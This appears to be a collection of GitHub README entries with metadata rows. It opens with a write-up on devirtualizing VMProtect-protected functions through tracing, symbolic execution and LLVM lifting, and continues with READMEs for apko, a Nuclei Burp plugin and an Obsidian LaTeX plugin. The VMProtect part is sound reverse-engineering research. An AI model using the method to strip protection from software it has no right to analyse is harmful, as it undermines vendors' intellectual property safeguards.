An <b>experimental</b> dynamic approach to devirtualize pure functions protected by <b>VMProtect 3.x</b>
</p>
<p> </p>
<p> </p>
* [TL;DR](#tldr)
* [Introduction](#introduction)
* [The approach](#the-approach)
* [Example 1: A simple bitwise operation protected](#example-1-a-simple-bitwise-operation-protected)
* [Example 2: A MBA operation protected](#example-2-a-mba-operation-protected)
* [Example 3: More than one basic block](#example-3-more-than-one-basic-block)
* [Conclusion and limitations](#conclusion-and-limitations)
* [References](#references)
<p> </p>
<p> </p>
# TL;DR
I am sharing some notes about a dynamic approach to devirtualize pure functions protected by VMProtect.
This approach has shown very good results if the virtualized function only contains one basic block
(regardless of its size). This is a common scenario when binaries protect arithmetic operations. However,
this approach is a bit more experimental when the target function contains more than one basic block.
Nevertheless, we managed to devirtualize and reconstruct the binary code from samples that contain 2 basic
blocks which suggests that it is possible to fully devirtualize small functions dynamically.
# Introduction
[VMProtect](https://vmpsoft.com) is a software protection that protects code by running it through a virtual
machine with non-standard architecture. This protection is a great playground for asm lovers
[0, 1, 2, 3, 4, 5, 6, 11]. Also, there are already numerous tools that attack this protection [7, 8, 9, 12, 13].
In 2016 we took a look at the [Tigress](https://github.com/JonathanSalwan/Tigress_protection/) software
protection solution and managed to defeat its virtualization using symbolic execution and LLVM. This approach
has been presented at DIMVA 2018 [10] and I wanted to test it on VMProtect. Note that there is no
magic solution that works on every binaries, there are always tradeoffs depending on the target and your goals.
This modest contribution aims to provide an example of a dynamic attack against *pure functions* that are virtualized
by VMProtect. The main advantage of a dynamic attack is that it defeats by design some VMProtect's static protections
like self modifying code, key and operands encryption etc.
We consider a pure function a function with a finite number of paths and that does not have side effects.
There can be several inputs but only one output. Below is an example of a pure function:
```cpp
int secret(int x, int y) {
int r = x ^ y;
return r;
}
```
# The approach
We rely on the key intuition that an obfuscated trace T' (from the obfuscated code P') combines original
instructions from the original code P (the trace T corresponding to T' in the original code) and
instructions of the virtual machine VM such that T' = T + VM(T). If we are able to distinguish between
these two subsequences of instructions T and VM(T), we then are able to reconstruct one path of the
original program P from a trace T'. By repeating this operation to cover all paths of the virtualized
program, we will be able to reconstruct the original program P. In our practical example, the original
code has a finite number of executable paths, which is the case in many situations involving intellectual
property protection. To do so, we proceed with the following steps:
1. Identify the virtualized function and its arguments
2. Generate a VMProtect trace of the target
3. Replay the VMP trace and construct symbolic expressions to obtain the relation between inputs and output
4. Apply optimizations on symbolic expressions to avoid as much as possible instructions from the VM
5. Lift our symbolic representation to the LLVM-IR to build a new unprotected version of the target
## Example 1: A simple bitwise operation
Let's take as a first example the following function: it takes two inputs and returns `x ^ y` which is protected by VMProtect.
```cpp
int secret(int x, int y) {
VMProtectBegin("secret");
int r = x ^ y;
VMProtectEnd();
return r;
}
```
We start by identifying where functions are using VMProtect and how many arguments they have. For our example we may have something like below:
<p align="center">
<img src="assets/screen1.png">
</p>
Just by reading the code we know that the function starts at the address `0x4011c0`, have two 32-bit arguments (`edi` and `esi`)
and returns at `0x4011ef`. That's all the reverse-engineering we need. Next parts will be automatic. Now we
have to generate an trace execution of this virtualized function. To do so we use a [Pintool](pin/source/tools/VMP_Trace/VMP_Trace.cpp).
It only needs a `start` and an `end` address (for our example, `0x4011c0` and `0x4011ef`) which represents the range
of the instrumentation. Note that any kind of DBI or emulator could do this job.
```
$ ./pin/pin -t ./pin/source/tools/VMP_Trace/obj-intel64/VMP_Trace.so -start 4198848 -end 4198895 -- ./vmp_binaries/binaries/sample2.vmp.bin 1 2 &> ./vmp_traces/sample2.vmp.trace
```
You can see the result [here](vmp_traces/sample2.vmp.trace). The trace format uses three kind of operations: `mr`, `r` and `i`.
`mr` is a memory read access done by the instruction `i`, and `r` are the CPU registers. For example:
```
mr:0x7ffda459d718:8:0x227db4f8
r:0x40200a:0x0:0x7ffda459f571:0x2:0x40200a:0x0:0x0:0x7ffda459d688:0x0:0x0:0x7feee9b80ac0:0x7feee9b8000f:0xad1c3e:0x0:0x0:0x0
i:0x89173e:8:488BB42490000000
```
We have a memory read that loads an `8` bytes constant `0x227db4f8` from the address `0x7ffda459d718`.
The instruction is executed at the address `0x89173e` and its 8-bytes long opcode is `488BB42490000000` which is a
[`mov rsi, qword ptr [rsp + 0x90]`](http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=488BB42490000000&arch=x86-64&endianness=little&dis_with_addr=True&dis_with_raw=True&dis_with_ins=True#disassembly).
The register state before the execution is the following:
```python
(1) RAX = 0x40200a (9) R8 = 0
(2) RBX = 0 (10) R9 = 0
(3) RCX = 0x7ffda459f571 (11) R10 = 0x7feee9b80ac0
(4) RDX = 0x2 (12) R11 = 0x7feee9b8000f
(5) RDI = 0x40200a (13) R12 = 0xad1c3e
(6) RSI = 0 (14) R13 = 0
(7) RBP = 0 (15) R14 = 0
(8) RSP = 0x7ffda459d688 (16) R15 = 0
```
Once the VMP trace has been generated, we replay it using the [attack_vmp.py](attack_vmp.py) script. This script uses
[Triton](https://github.com/jonathansalwan/Triton) to build the path predicate of the trace. Note that all expressions which
involve symbolic variables (inputs of the function) are kept symbolic while all non related input expressions are concretized. In
other words, our symbolic expressions do not contain any operation related to the virtual machine (the machinery
itself does not depend on the user) but only operations related to the original program.
For example, below is an example of a concretization. On the left we have an AST that contains subexpressions which do not involve
symbolic variable (`1 + 2` and `6 ^ 3`). So these branches are concretized and replaced by constants `3` and `5` which leads to
the AST on the right. **This is how we devirtualize code.**
<p align="center">
<img src="assets/screen2.png">
</p>
**A note on formula-level backward slicing**: As it is common in symbolic execution, the symbolic representation is first
computed in a forward manner along the path, then all logical operations and definitions affecting neither the final result
nor the followed path are removed from the symbolic expression (formula slicing, a.k.a. formula pruning). This turns out to
perform on the formula the equivalent of a backward slicing code analysis from the program output. Thus, at the return of the
`secret` function, we have an expression of the relation between the inputs and the output without the instructions of VMProtect.
The `./attack_vmp.py` script takes as parameters the trace file and the size of symbolic variables. Remember, it was `edi` and
`esi`, so they are 4 bytes long. The result of the script is the following:
```
$ ./attack_vmp.py --trace1 ./vmp_traces/sample2.vmp.trace --symsize 4
[+] Replaying the VMP trace
[+] Symbolize inputs
[+] Instruction executed: 12462
[+] Emulation done
[+] Return value: 0x3
[+] Devirt expr: (bvor (bvnot (bvor (bvnot (bvnot x)) (bvnot y))) (bvnot (bvor (bvnot x) (bvnot (bvand (bvnot y) (bvnot y))))))
[+] Synth expr: (bvxor x y)
[+] LLVM IR ==============================
; ModuleID = 'tritonModule'
source_filename = "tritonModule"
define i32 @__triton(i32 %SymVar_0, i32 %SymVar_1) {
entry:
%0 = xor i32 %SymVar_0, %SymVar_1
ret i32 %0
}
[+] EOF LLVM IR ==============================
```
As we can see, the devirtualized expression returned by the `secret` function is pretty concise and does not contain instructions from
the virtual machine.
```smt
(bvor
(bvnot (bvor
(bvnot (bvnot x))
(bvnot y)
)
)
(bvnot (bvor
(bvnot x)
(bvnot (bvand
(bvnot y)
(bvnot y)
)
)
)
)
)
```
However, we did not manage to recover the original expression which was a simple `XOR` operation. It looks like the `XOR` has been
translated to bitwise operations. Luckily, we recently released new features in the Triton project which are
a [synthesizer](https://github.com/JonathanSalwan/Triton/issues/1074) and a lifter to
[LLVM-IR](https://github.com/JonathanSalwan/Triton/issues/1078). Thus, we can synthesize the expression which gives us the expression
`(bvxor x y)`. It's a good win and now we can go further by lifting this expression to LLVM-IR and then compile a new devirtualized
binary code.
## Example 2: A MBA operation protected
Ok, now let's take a look at another example which tries to hide an MBA operation. The original source code is the following:
```cpp
// This function is an MBA that computes: (x ^ 92) + y
// We will protect this MBA with VMProtect and see if we can recover "(x ^ 92) + y"
char secret(char x, char y) {
VMProtectBegin("secret");
int a = 229 * x + 247;
int b = 237 * a + 214 + ((38 * a + 85) & 254);
int c = (b + ((-(2 * b) + 255) & 254)) * 3 + 77;
int d = ((86 * c + 36) & 70) * 75 + 231 * c + 118;
int e = ((58 * d + 175) & 244) + 99 * d + 46;
int f = (e & 148);
int g = (f - (e & 255) + f) * 103 + 13;
int r = (237 * (45 * g + (174 * g | 34) * 229 + 194 - 247) & 255) + y;
VMProtectEnd();
return r;
}
```
Like with the first example, we have to identify where this function starts and ends and generate a VMP trace.
```
$ ./pin/pin -t ./pin/source/tools/VMP_Trace/obj-intel64/VMP_Trace.so -start 4198857 -end 4199140 -- ./vmp_binaries/binaries/sample3.vmp.bin 1 2 &> ./vmp_traces/sample3.vmp.trace
```
Once the [VMP trace](vmp_traces/sample3.vmp.trace) is generated, let's run the `./attack_vmp.py` script.
```
$ ./attack_vmp.py --trace1 ./vmp_traces/sample3.vmp.trace --symsize 1
[+] Replaying the VMP trace
[+] Symbolize inputs
[+] A potential symbolic jump found on CF flag: 0x821dac: popfq - Model: {0: x:32 = 0xa3, 1: y:32 = 0xff}
[+] A potential symbolic jump found on CF flag: 0x87f437: popfq - Model: {0: x:32 = 0xa3, 1: y:32 = 0xff}
[+] Instruction executed: 25085
[+] Emulation done
[+] Return value: 0x5f
[+] Devirt expr: In: (bvadd (bvadd (bvshl (bvadd (_ bv1 32) (bvnot (bvlshr (concat (_ bv0 8) (_ bv0 8) ((_ extract 15 8) ...
[+] Synth expr: In: (bvadd (bvadd (bvshl (bvadd (_ bv1 32) (bvnot (bvlshr (concat (_ bv0 8) (_ bv0 8) ((_ extract 15 8) ...
[+] LLVM IR ==============================
; ModuleID = 'tritonModule'
source_filename = "tritonModule"
define i32 @__triton(i8 %SymVar_0, i8 %SymVar_1) {
entry:
%0 = xor i8 %SymVar_0, 92
%1 = and i8 %SymVar_0, 0
%2 = zext i8 %1 to i32
%3 = or i32 0, %2
%4 = shl i32 %3, 8
%5 = zext i8 %0 to i32
%6 = or i32 %4, %5
%7 = and i8 %SymVar_1, 0
%8 = zext i8 %7 to i32
%9 = or i32 0, %8
%10 = shl i32 %9, 8
%11 = zext i8 %SymVar_1 to i32
%12 = or i32 %10, %11
%13 = zext i8 %7 to i32
%14 = or i32 0, %13
%15 = shl i32 %14, 8
%16 = zext i8 %SymVar_1 to i32
%17 = or i32 %15, %16
%18 = lshr i32 %17, 7
%19 = xor i32 %18, -1
%20 = add i32 1, %19
%21 = shl i32 %20, 8
%22 = add i32 %21, %12
%23 = add i32 %22, %6
ret i32 %23
}
[+] EOF LLVM IR ==============================
```
The result is pretty interesting for several reasons. First, we successfully managed to avoid as much as possible
instructions from the virtual machine as we went from 25085 instructions executed to 25 LLVM instructions. However,
we did not manage to get a good synthesized version of the output (yes, I know, we are going further than just doing
devirtualization). The advantage of lifting our symbolic expressions to LLVM-IR is that we can fully benefit from LLVM's
optimization pipeline. Let's do this:
```llvm
$ opt -S -O3 ./devirt/sample3.ll
; ModuleID = 'devirt/sample3.ll'
source_filename = "tritonModule"
; Function Attrs: mustprogress nofree norecurse nosync nounwind readnone willreturn
define i32 @__triton(i8 %SymVar_0, i8 %SymVar_1) local_unnamed_addr #0 {
entry:
%0 = xor i8 %SymVar_0, 92
%1 = zext i8 %0 to i32
%2 = zext i8 %SymVar_1 to i32
%3 = shl nuw nsw i32 %2, 1
%4 = and i32 %3, 256
%5 = add nuw nsw i32 %1, %2
%6 = sub nsw i32 %5, %4
ret i32 %6
}
```
Using LLVM optimizations we managed to remove noise from our devirtualized output and thus break the MBA.
We can see the `XOR` operation with its constant (`%0 = xor i8 %SymVar_0, 92`) and the `+ y` (`%6 = add nsw i32 %5, %1`).
Instructions between are just dealing with the sign. To summarize this example, we fully devirtualized the `secret`
function using the `attack_vmp.py` script and then we fully broke the MBA using LLVM optimizations.
## Example 3: More than one basic block
We got very good results if the `secret` function only contains one basic block regardless of its size. So at this point
we are able to devirtualize one path. To reconstruct the whole function behavior, we have to successively devirtualize
reachable paths. To do so, we have to perform a path coverage on user-dependent branches. At the end, we get as a result
a path tree which represents the different paths of the original function. Path tree is obtained by introducing
if-then-else construction from two traces T1 and T2 with a same prefix followed by a condition C in T1 and a not(C)
in T2. Once a path tree is built, we can let LLVM generate a CFG.
<p align="center">
<img src="assets/screen3.png">
</p>
With the Tigress software protection, virtual jumps were implemented with real `jcc` instructions which allowed
us to quickly identify jump condition. However, things are getting more complex when virtual jumps are involved
with VMProtect as it does not uses `jcc` instructions for jumping to another virtual block. We had to define
markers on a dynamic trace to spot the condition involved in a user-dependent branch. This is the experimental part
of this attack as markers are not really accurate but worked for our samples.
Ok, let's consider the following sample:
```cpp
int secret(int x, int y) {
VMProtectBegin("secret");
int r = 0;
if (x + y == 1001)
r = x + 1;
else
r = y - 1;
VMProtectEnd();
return r;
}
```
Like with the first examples we have to generate and analyze the trace.
```
$./pin/pin -t ./pin/source/tools/VMP_Trace/obj-intel64/VMP_Trace.so -start 4198848 -end 4198928 -- ./vmp_binaries/binaries/sample5.vmp.bin 1 2 &> ./vmp_traces/sample5.vmp.trace.1
$ ./attack_vmp.py --trace1 ./vmp_traces/sample5.vmp.trace.1 --symsize 4
[+] Replaying the VMP trace
[+] Symbolize inputs
[+] A potential symbolic jump found of AF flag: 0x80d905: cmp r11b, dl - Model: {0: x:32 = 0x0, 1: y:32 = 0x3e9}
[+] Instruction executed: 16164
[+] Emulation done
[+] Return value: 0x4
[+] Devirt expr: (bvnot (bvadd (bvand (bvnot y) (bvnot y)) (_ bv1 32)))
[+] Synth expr: (bvadd y (_ bv4294967295 32))
[+] LLVM IR ==============================
; ModuleID = 'tritonModule'
source_filename = "tritonModule"
define i32 @__triton(i32 %SymVar_1) {
entry:
%0 = add i32 %SymVar_1, -1
ret i32 %0
}
[+] EOF LLVM IR ==============================
```
The script tells us that there may be a potential symbolic jump found on the `AF` flag at address `0x80d905`.
It also provides a new model (using symbolic execution) which should take the other path. So let's generate a
second trace using this model (if you take a look to the model, it is correct regarding our source code).
```
$ ./pin/pin -t ./pin/source/tools/VMP_Trace/obj-intel64/VMP_Trace.so -start 4198848 -end 4198928 -- ./vmp_binaries/binaries/sample5.vmp.bin 0 1001 &> ./vmp_traces/sample5.vmp.trace.2
```
Once the second trace is generated, we have to provide those two traces to the `attack_vmp.py` script so that it
can merge them and create a path tree. We have extra options to define where the condition is located
and on what flag (AF flag at `0x80d905`).
```
$ ./attack_vmp.py --trace1 ./vmp_traces/sample5.vmp.trace.1 --symsize 4 --trace2 ././vmp_traces/sample5.vmp.trace.2 --vbraddr 0x80d905 --vbrflag af
[+] Replaying the VMP trace
[+] Symbolize inputs
[+] A potential symbolic jump found of AF flag: 0x80d905: cmp r11b, dl - Model: {0: x:32 = 0x0, 1: y:32 = 0x3e9}
[+] Instruction executed: 16164
[+] Emulation done
[+] A second trace has been provided
[+] Replaying the VMP trace
[+] Symbolize inputs
[+] Instruction executed: 15758
[+] Emulation done
[+] Merging expressions from trace1 and trace2
[+] Return value: 0x3e9
[+] Devirt expr: In: (ite (= (ite (= (_ bv16 8) (bvand (_ bv16 8) (bvxor (bvsub (_ bv80 8) ((_ extract 7 0) (bvadd (bvlsh ...
[+] Synth expr: In: (ite (= (ite (= (_ bv16 8) (bvand (_ bv16 8) (bvxor (bvsub (_ bv80 8) ((_ extract 7 0) (bvadd (bvlsh ...
[+] LLVM IR ==============================
; ModuleID = 'tritonModule'
source_filename = "tritonModule"
define i32 @__triton(i32 %SymVar_0, i32 %SymVar_1) {
entry:
%0 = add i32 %SymVar_1, -1
%1 = add i32 %SymVar_0, 1
%2 = add i32 %SymVar_1, %SymVar_0
%3 = xor i32 %2, -1
%4 = xor i32 %2, -1
%5 = and i32 %4, %3
%6 = xor i32 %5, 1001
%7 = add i32 %5, 1001
%8 = xor i32 %5, 1001
%9 = xor i32 %8, %7
%10 = and i32 %9, %6
[... skip ...]
%469 = add i64 %468, 140737488347280
%470 = trunc i64 %469 to i8
%471 = xor i8 80, %470
%472 = sub i8 80, %470
%473 = xor i8 %472, %471
%474 = and i8 16, %473
%475 = icmp eq i8 16, %474
%476 = select i1 %475, i1 true, i1 false
%477 = icmp eq i1 %476, false
%478 = select i1 %477, i32 %1, i32 %0
ret i32 %478
}
[+] EOF LLVM IR ==============================
```
At this step we devirtualized the two traces and merged them into `if-then-else` expressions.
After lifting the expression to LLVM-IR we get a CFG with only 480 LLVM instruction which is
already a good win comparing to the thousands of instructions executed by the virtual machine.
But we can do better if we use LLVM optimizations:
```llvm
$ opt -S -O3 ./devirt/sample5.ll
; ModuleID = './devirt/sample5.ll'
source_filename = "tritonModule"
; Function Attrs: mustprogress nofree norecurse nosync nounwind readnone willreturn
define i32 @__triton(i32 %SymVar_0, i32 %SymVar_1) local_unnamed_addr #0 {
entry:
%0 = add i32 %SymVar_0, 1
%1 = add i32 %SymVar_1, -1
%2 = add i32 %SymVar_1, %SymVar_0
%.not = icmp eq i32 %2, 1001
%3 = select i1 %.not, i32 %0, i32 %1
ret i32 %3
}
attributes #0 = { mustprogress nofree norecurse nosync nounwind readnone willreturn }
```
Woot, we recovered the original behavior of the `secret` function!
# Conclusion and limitations
While the approach showed very good results for functions that contain one path, the main limitation
of the method is that it is mostly geared towards programs with a small number of paths due to the way
VMProtect does virtual jumps. In case of a too high number of paths, parts of the original code may be
lost, yielding an incomplete recovery. Note that we are considering executable paths rather than syntactic
paths in the CFG. Hash and other cryptographic functions often have only very few paths - only one path
in the case of timing-attack resistant implementations.
Also our current implementation is limited to programs without any user-dependent
memory access. This limitation can be partly removed by using a more symbolic handling of memory accesses in DSE.
Note also that while bounded loops and non-recursive function calls are handled, they are currently recovered
as inlined or unrolled code, causing a potential blowup in size of the devirtualized code. It would be interesting
to have a post processing step trying to rebuild these high-level abstractions.
To conclude, please note that I'm not aiming to provide any kind of magic method, those are just some notes about
a dynamic attack against very specific cases protected by VMProtect =).
If you want to take a deeper look, check out those resources:
* [The Pintool to generate trace](pin/source/tools/VMP_Trace/VMP_Trace.cpp)
* [Script to analyze a VMP trace](attack_vmp.py)
* [Samples source code](vmp_binaries/samples-source)
* [Original and protected binaries](vmp_binaries/binaries)
* [VMP traces](vmp_traces)
* [Devirtualized results](devirt)
Last but not least, special thanks to my mate [@0vercl0k](https://twitter.com/0vercl0k) for proofreading and edits :rocket:
# References
```
[00] https://www.usenix.org/legacy/event/woot09/tech/full_papers/rolles.pdf
[01] https://secret.club/2021/09/08/vmprotect-llvm-lifting-1.html
[02] https://secret.club/2021/09/08/vmprotect-llvm-lifting-2.html
[03] https://secret.club/2021/09/08/vmprotect-llvm-lifting-3.html
[04] https://back.engineering/17/05/2021/
[05] https://back.engineering/21/06/2021/
[06] https://www.mitchellzakocs.com/blog/vmprotect3
[07] https://github.com/can1357/NoVmp
[08] https://github.com/archercreat/vmpfix
[09] https://github.com/void-stack/VMUnprotect
[10] https://github.com/JonathanSalwan/Triton/blob/master/publications/DIMVA2018-slide-deobfuscation-salwan-bardin-potet.pdf
[11] https://whereisr0da.github.io/blog/posts/2021-02-16-vmp-3/
[12] https://github.com/pgarba/UniTaint
[13] https://github.com/mrexodia/VMProtectTest
```
| Playing with the VMProtect software protection. Automatic deobfuscation of pure functions using symbolic execution and LLVM. | vmprotect,symbolic-execution,program-analysis,llvm-ir,deobfuscation | 0 | 1 | 2 | 4 | 0 | 1 | 0 |
chainguard-dev/apko | # apko: apk-based OCI image builder
Build and publish [OCI container images](https://opencontainers.org/) built from [apk](https://wiki.alpinelinux.org/wiki/Package_management) packages.
apko has the following key features:
- **Fully reproducible by default.** Run apko twice and you will get exactly the same binary.
- **Fast.** apko aims to build images in ms.
- **Small.** apko generated images only contain what's needed by the application,
in the style of [distroless](https://github.com/GoogleContainerTools/distroless).
- **SBOM Support.** apko produces a Software Bill of Materials (SBOM) for images, detailing all the packages inside.
- **Services.** apko supports using the [s6 supervision suite](https://skarnet.org/software/s6) to run multiple processes
in a container without reaping or signalling issues.
Please note that apko is a work in progress and details are subject to change!
## Installation
You can install apko from Homebrew:
```shell
brew install apko
```
You can also install apko from source:
```shell
go install chainguard.dev/apko@latest
```
You can also use the apko container image:
```shell
docker run cgr.dev/chainguard/apko version
```
To use the examples, you'll generally want to mount your current directory into the container, e.g.:
```shell
docker run -v "$PWD":/work cgr.dev/chainguard/apko build examples/alpine-base.yaml apko-alpine:edge apko-alpine.tar
```
Alternatively, if you're on a Mac, you can use [Lima](./mac/README.md) to run an Alpine Linux VM.
## Quickstart
An apko file for building an Alpine base image looks like this:
```yaml
contents:
repositories:
- https://dl-cdn.alpinelinux.org/alpine/edge/main
packages:
- alpine-base
entrypoint:
command: /bin/sh -l
# optional environment configuration
environment:
PATH: /usr/sbin:/sbin:/usr/bin:/bin
```
We can build this with apko from any environment with apk tooling:
```shell
apko build examples/alpine-base.yaml apko-alpine:test apko-alpine.tar
```
```
...
2022/04/08 13:22:31 apko (aarch64): generating SBOM
2022/04/08 13:22:31 building OCI image from layer '/tmp/apko-3027985148.tar.gz'
2022/04/08 13:22:31 OCI layer digest: sha256:ba034c07d0945abf6caa46fe05268d2375e4209e169ff7fdd34d40cf4e5f2dd6
2022/04/08 13:22:31 OCI layer diffID: sha256:9b4ab6bb8831352b25c4bd21ee8259d1f3b2776deec573733291d71a390157bb
2022/04/08 13:22:31 output OCI image file to apko-alpine.tar
```
or, with Docker:
```shell
docker run -v "$PWD":/work cgr.dev/chainguard/apko build examples/alpine-base.yaml apko-alpine:test apko-alpine.tar
```
You can then load the generated tar image into a Docker environment:
```shell
docker load < apko-alpine.tar
```
```shell
Loaded image: apko-alpine:test
```
```shell
docker run -it apko-alpine:test
```
```
e289dc84c4ad:/# echo boo!
boo!
```
You can also publish the image directly to a registry:
```shell
apko publish examples/alpine-base.yaml myrepo/alpine-apko:test
```
See the [docs](./docs/apko_file.md) for details of the file format and the [examples directory](./examples) for more, err, examples!
## Why
apko was created by [Chainguard](https://www.chainguard.dev), who require secure and reproducible
container images for their tooling. Speed is also a critical factor; Chainguard require images to be
rebuilt constantly in response to new versions and patches.
The design of apko is heavily influenced by the [ko](https://github.com/google/ko) and
[distroless](https://github.com/GoogleContainerTools/distroless) projects.
## Declarative Nature
By design, apko doesn't support an equivalent of `RUN` statements in Dockerfiles. This means apko
files are fully declarative and allows apko to make stronger statements about the contents of images.
In particular, apko images are fully bitwise reproducible and can generate SBOMs covering their
complete contents.
In order to install bespoke tooling or applications into an image, they must first be packaged into
an apk. This can be done with apko's sister tool [melange](https://github.com/chainguard-dev/melange).
The combination of melange and apko cover the vast majority of use cases when building container
images. In the cases where they are not a good fit, our recommendation is to build a base image with
apko and melange, then use traditional tooling such as Dockerfiles for the final step.
## Support and Further Reading
Tutorials and guides for apko can be found at the [Chainguard Academy](https://edu.chainguard.dev/open-source/apko/).
For support, please find us on the [Kubernetes Slack](https://kubernetes.slack.com/) in the #apko
channel or [open an issue](https://github.com/chainguard-dev/apko/issue).
## Related Work and Resources
The [melange project](https://github.com/chainguard-dev/melange) is designed to produce apk packages to be used in apko.
The [ko](https://github.com/google/ko) project builds Go projects from source in a similar manner to apko.
The [kontain.me](https://github.com/imjasonh/kontain.me) service creates fresh container images on
demand using different forms of declarative configuration (including ko and apko).
| Build OCI images from APK packages directly without Dockerfile | docker,oci,containers | 41 | 52 | 950 | 2,098 | 71 | 4 | 6 |
NafisiAslH/KnowledgeSharing | # KnowledgeSharing
Under Construction ....
</br>
## Support
You can Follow [me](https://twitter.com/MeAsHacker_HNA) on twitter or
<br><br><a href="https://www.buymeacoffee.com/NafisiAslH" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png" alt="Buy Me A Coffee" style="height: 60px !important;width: 217px !important;" ></a>
| null | null | 0 | 2 | 2 | 348 | 2 | 1 | 0 |
projectdiscovery/nuclei-burp-plugin | <h1 align="center">
<br>
<a href="https://nuclei.projectdiscovery.io"><img src="static/nuclei-logo.png" width="200px" alt="Nuclei Burp Plugin"></a>
</h1>
<h4 align="center">Nuclei Template Generator Burp Plugin</h4>
<p align="center">
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
</p>
<p align="center">
A `Burp Suite` plugin intended to help with [`nuclei`](https://github.com/projectdiscovery/nuclei) template generation.
</p>
<div align="center">
<br/>
<a href="https://www.youtube.com/watch?v=PMHCnaU7dfo" target="_blank"><img src="static/video_thumbnail.png" alt="Nuclei Burp Plugin Demo Video"></a>
<br/><br/>
<a href="https://nuclei.projectdiscovery.io" target="_blank"><img src="static/demo.gif" alt="Nuclei Burp Plugin Demo"></a>
<br/><br/>
<a href="https://nuclei.projectdiscovery.io" target="_blank"><img src="static/v1_1_0-demo.gif" alt="Nuclei Burp Plugin v1.1.0 Demo"></a>
</div>
## Features
### Template matcher generation
* `Word` and `Binary` matcher creation using selected response snippets from `Proxy` history or `Repeater` contexts
* Multi-line selections are split to separate words for readability
* Binary matchers are created for selections containing non-`ASCII` characters
* The `part` field is auto-set based on whether the selection was in the request header or body
* Every generated template auto-includes a `Status` matcher, using the `HTTP` status code of the response
### Modifying generated templates
* New matchers and requests can be added to previously generated templates, by highlighting a part of a response
* In case of a CVE, template information fields can be filled in automatically (Right-click on a template, Add โ Classification โ CVE)
### Request template generation
* In the `Intruder` tab, selected payload positions can be used to generate request templates, using one of the following attack types: `Battering ram`, `Pitchfork` or `Cluster bomb`
* The selected text snippet from an `HTTP` request under the `Proxy` or `Repeater` tab can be used to generate a request template with the attack type defaulting to `Battering ram`
* Templates containing multiple requests can be generated by selecting multiple proxy items and clicking generate
### Template execution
* Generated templates can be executed instantly, and the output is shown in the same window for convenience
* The plugin auto-generates the CLI command, using the absolute nuclei path, absolute template path and target information extracted from the desired request
* History of unique, executed commands are stored, can be quick searched and re-executed within the current session
* CLI flag filtering and completion support can be accessed using the `CTRL + R` keyboard shorcut
### Experimental features
* (Non-contextual) `YAML` property and value **auto-complete**, using reserved words from the nuclei [`JSON` schema](https://github.com/projectdiscovery/nuclei/blob/master/nuclei-jsonschema.json)
* **Syntax highlighting** of `YAML` properties, based on reserved words
### Productivity
* Almost every action can be triggered using keyboard shortcuts:
* **F1**: open nuclei template documentation
* **Ctrl + Enter**: execute current template
* **Ctrl + Shift + E**: jump to the template editor
* **Ctrl + L**: jump to the CLI input field
* **Ctrl + R**: show CLI argument helper
* **Ctrl + S**: save the current template
* **Ctrl + Plus/Minus**: increase/decrease font size
* **Ctrl + Q**: quit
* Tab support:
* **Ctrl + Tab** or **Ctrl + PageDown**: open next tab
* **Ctrl + Shift + Tab** or **Ctrl + PageUp**: open previous tab
* **Ctrl + [1-9]**: move to n-th tab
* **Mouse Scroll Up/Down** over the tabs: navigate to next or previous tab
* **Ctrl + W** or **Middle Mouse Button Click**: close current tab
* The template path is auto-updated if the template is saved to a new location
* The `template-id` is recommended as file name when saving
### Settings
* The plugin attempts to auto-detect and complete the configuration values
* The code searches for the nuclei binary path, using the values from the process's environmental `PATH` variable.
**Note**: the Burp Suite binary, opposed to the stand-alone BurpSuite jar, might not have access to
the current user's `PATH` variable.
* The target template path is calculated based on the default nuclei template directory, configured under `<USER_HOME>/.config/nuclei/.templates-config.json`
* The name of the currently logged-in operating system user is used as a default value for the template author configuration
* The user can decide whether to display the generated template in a dedicated window or embedded under "Generator", within the Nuclei tab
### Look and feel
* The template generator window supports Dark and Light themes. The presented theme is chosen based on the selected Burp Suite theme, under `User Options`
* Support for **colored** nuclei output
* Modifiable font size in the template editor and command output
## Building the code
Use `mvn clean package -DskipTests` to build the project yourself. It requires Maven `3.x` and Java `11+`.
On macOS the dependencies for the plugin can be met using Homebrew: `brew install mvn openjdk@11`
Alternatively, different builds can be downloaded from the [Actions](https://github.com/projectdiscovery/nuclei-burp-plugin/actions) section. The built artifact can be found under the latest build's `Artifacts`
section. These artifacts are generated after every commit, but are only stored for a limited amount of time.
## Installation
By building the code:
1. Build the code yourself or download a pre-built/[release](https://github.com/projectdiscovery/nuclei-burp-plugin/releases) version
2. Go to `Extender` in `Burp Suite`
3. Click the `Add` button in the `Extensions` tab
4. Leave the `Extension Type` on `Java`
5. Select the path to the plugin (`.jar`)
Through [BApp Store](https://portswigger.net/bappstore/526f5564b7414bfe978e650d8ea6567b):
1. Go to `Extender` in `Burp Suite`
2. Select the `BApp Store` tab
3. Search for **Nuclei Template Generator Plugin**
4. Clink on **Install**
Note: this plugin does **NOT** require **Burp Suite Professional**.
## Screenshots
### Credits
Created with โค๏ธ by [@forgedhallpass](https://github.com/forgedhallpass)
### License
Nuclei and this plugin are distributed under [MIT License](LICENSE).
<h1 align="left">
<a href="https://discord.gg/projectdiscovery"><img src="static/join-discord.png" width="380" alt="Join Discord"></a> <a href="https://nuclei.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Check Nuclei Documentation"></a>
</h1>
| Nuclei plugin for BurpSuite | null | 6 | 36 | 67 | 171 | 17 | 5 | 1 |
artisticat1/obsidian-latex-suite | # Obsidian Latex Suite <img src="https://img.shields.io/github/manifest-json/v/artisticat1/obsidian-latex-suite"> <img src="https://img.shields.io/github/downloads/artisticat1/obsidian-latex-suite/total">
A plugin for Obsidian that aims to make typesetting LaTeX math as fast as handwriting.
Inspired by [Gilles Castel's setup using UltiSnips](https://castel.dev/post/lecture-notes-1/).
The plugin's main feature is **snippets**, which help you write LaTeX quicker through shortcuts and text expansion! For example, type
- "sqx" instead of "\sqrt{x}"
- "a/b" instead of "\frac{a}{b}"
- "par x y " instead of "\frac{\partial x}{\partial y}"
See [Gilles Castel's writeup](https://castel.dev/post/lecture-notes-1/) for more information.
The plugin comes with a [set of default snippets](https://github.com/artisticat1/obsidian-latex-suite/blob/main/src/default_snippets.js), loosely based on [Gilles Castel's](https://castel.dev/post/lecture-notes-1/#other-snippets). You can modify them, remove them, and write your own.
## Usage
To get started, type "dm" to enter display math mode. Try typing the following:
